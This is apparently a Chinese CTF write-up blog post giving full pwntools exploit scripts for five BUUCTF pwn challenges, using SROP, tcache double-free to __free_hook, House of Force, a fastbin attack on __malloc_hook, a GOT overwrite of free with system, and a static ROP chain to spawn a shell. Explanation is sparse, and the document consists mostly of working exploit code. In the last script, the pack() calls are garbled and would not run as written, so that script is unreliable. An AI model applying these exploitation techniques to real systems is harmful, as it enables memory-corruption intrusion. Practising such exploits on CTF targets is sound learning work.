BUUCTF SROP UAF House of Force 修改free_got为system 静态链接
文章目录
- ciscn_2019_es_7
- - ciscn_2019_es_1
- hitcontraining_bamboobox
- hitcontraining_heapcreator
- picoctf_2018_can_you_gets_me
ciscn_2019_es_7 ciscn_2019_es_1 hitcontraining_bamboobox hitcontraining_heapcreator picoctf_2018_can_you_gets_me
ciscn_2019_es_7
贴张表：
ip是接下去要干的，sp是这里干完接下来要干的地址（大概XD）
怎么找binsh看我之前这篇：
https://blog.csdn.net/carol2358/article/details/105643009
rsi
当然直接调试找也是可以的
exp：
from pwn import *
from LibcSearcher import *
local_file = './ciscn_2019_es_7'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 26293)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
gadget_sigreturn = 0x4004DA
gadget_system = 0x4004E2
read = 0x4004F1
syscall_ret = 0x400517
p1 = '/bin/sh\x00' + '\x00'*8 + p64(read)
sl(p1)
stack_addr = uu64(ru('\x7f')[-6:])
info_addr('stack_addr', stack_addr)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0
sigframe.rdx = 0
#sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
p2 = '/bin/sh\x00' + '\x00'*8 + p64(gadget_sigreturn) + p64(syscall_ret) + str(sigframe)
sl(p2)
r.interactive()
- ciscn_2019_es_1
tcache最大0x408
做这题的时候脑溢血，填完tcache才发现不用填，然后后面就一系列脑溢血操作，把bin破坏了，还忘了这题是买一送一型，直接没法add orz，多谢小可爱师傅教我
没什么要说的，注意最后改的是tcache里的fd，别再脑溢血去改unsorted里的了
exp：
from pwn import *
from LibcSearcher import *
local_file = './ciscn_2019_es_1'
local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 28463)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def add(size, content, call):
sla('choice:', '1')
sla('Please input the size of compary\'s name\n', str(size))
sea('please input name:\n', content)
sea('please input compary call:\n', str(call))
def show(index):
sla('choice:', '2')
sla('index:\n', str(index))
def free(index):
sla('choice:', '3')
sla('index:\n', str(index))
add(0x410, 'aaaa', 1)#0
add(0x28, 'bbbb', 1)#1
add(0x410, 'cccc', 1)#2
add(0x18, '/bin/sh\x00', 1)#3
free(0)
show(0)
main_arena = uu64(ru('\x7f')[-6:])
info_addr('main_arena', main_arena)
libc_base = main_arena - 96 -0x10 - libc.sym['__malloc_hook']
info_addr('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
og = libc_base + 0x4f322
free(1)
free(1)
add(0x28, p64(free_hook), 1)#4
add(0x28, 'aaaa', 1)#5
add(0x28, p64(og), 1)#5
free(5)
#debug()
#sl('1')
r.interactive()
hitcontraining_bamboobox
House of Force
条件：
能够以溢出等方式控制到 top chunk 的 size 域
能够自由地控制堆分配尺寸的大小
exp：
from pwn import *
from LibcSearcher import *
local_file = './bamboobox'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25604)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sla('Your choice:', str(choice))
def show():
menu(1)
def add(size, content):
menu(2)
sea('Please enter the length of item name:', str(size))
sea('Please enter the name of item:', content)
def edit(index, size, content):
menu(3)
sea('Please enter the index of item:', str(index))
sea('Please enter the length of item name:', str(size))
sea('Please enter the new name of the item:', content)
def free(index):
menu(4)
sea('Please enter the index of item:', str(index))
magic = 0x400D49
add(0x40, 'aaaa')#0
edit(0, 0x50, 'a'*0x40+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
offset_heap_base = -(0x50+0x20)
malloc_size = offset_heap_base - 0x8 - 0xf
add(malloc_size, 'aaaa')
add(0x10, p64(magic)*2)
#debug()
#sl('1')
r.interactive()
当然也可以不用后门
exp：
from pwn import *
from LibcSearcher import *
local_file = './bamboobox'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25604)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sla('Your choice:', str(choice))
def show():
menu(1)
def add(size, content):
menu(2)
sea('Please enter the length of item name:', str(size))
sea('Please enter the name of item:', content)
def edit(index, size, content):
menu(3)
sea('Please enter the index of item:', str(index))
sea('Please enter the length of item name:', str(size))
sea('Please enter the new name of the item:', content)
def free(index):
menu(4)
sea('Please enter the index of item:', str(index))
add(0x18, 'aaaa')#0
add(0x10, 'bbbb')#1
add(0x68, 'cccc')#2
add(0x10, 'dddd')#3
edit(0, 0x20, 'a'*0x10+p64(0)+p64(0x91))
free(1)
add(0x10, 'eeee')#1
show()
main_arena = uu64(ru('\x7f')[-6:]) - 88
info_addr('main_arena', main_arena)
libc_base = main_arena - 0x10 -libc.sym['__malloc_hook']
info_addr('libc_base', libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__libc_realloc']
og = libc_base + 0x4526a
free(2)
edit(1, 0x28, 'a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x68, 'aaaa')#2
add(0x68, 'aaaa')#4
edit(4, 0x1b, 'a'*0xb+p64(og)+p64(realloc_hook+0xa))
#add(0x10, 'aaaa')
#debug()
#sl('1')
r.interactive()
hitcontraining_heapcreator
本题将free的got修改为system
第一次edit后free，第二个chunk的node和本体已经互换，之后要注意content的指针，content指针指向的才是content的内容，所以可以修改free为system
exp：
from pwn import *
from LibcSearcher import *
local_file = './heapcreator'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25955)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sea('Your choice :', str(choice))
def add(size, content):
menu(1)
sea('Size of Heap : ', str(size))
sea('Content of heap:', content)
def edit(index, content):
menu(2)
sea('Index :', str(index))
sea('Content of heap : ', content)
def show(index):
menu(3)
sea('Index :', str(index))
def free(index):
menu(4)
sea('Index :', str(index))
add(0x18, 'a')
add(0x10, 'a')
edit(0, '/bin/sh\x00'+p64(0)*2+p8(0x41))
free(1)
add(0x30, 'a'*0x20+p64(0x30)+p64(elf.got['free']))
show(1)
sys_addr = uu64(ru('\x7f')[-6:]) - libc.sym['free'] + libc.sym['system']
edit(1, p64(sys_addr))
free(0)
r.interactive()
picoctf_2018_can_you_gets_me
静态编译，随便写写
直接 ROPgadget --binary picoctf_2018_can_you_gets_me --ropchain
exp头部加from struct import pack
exp：
from pwn import *
from LibcSearcher import *
from struct import pack
local_file = './PicoCTF_2018_can-you-gets-me'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25369)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def pwn():
p = 'a'*0x18+'bbbb'
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack(', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea064) # @ .data + 4
p += pack(', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack(', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08049303) # xor eax, eax ; ret
p += pack(', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack(', 0x080481c9) # pop ebx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080de955) # pop ecx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08049303) # xor eax, eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0806cc25) # int 0x80
return p
p = pwn()
se(p)
r.interactive()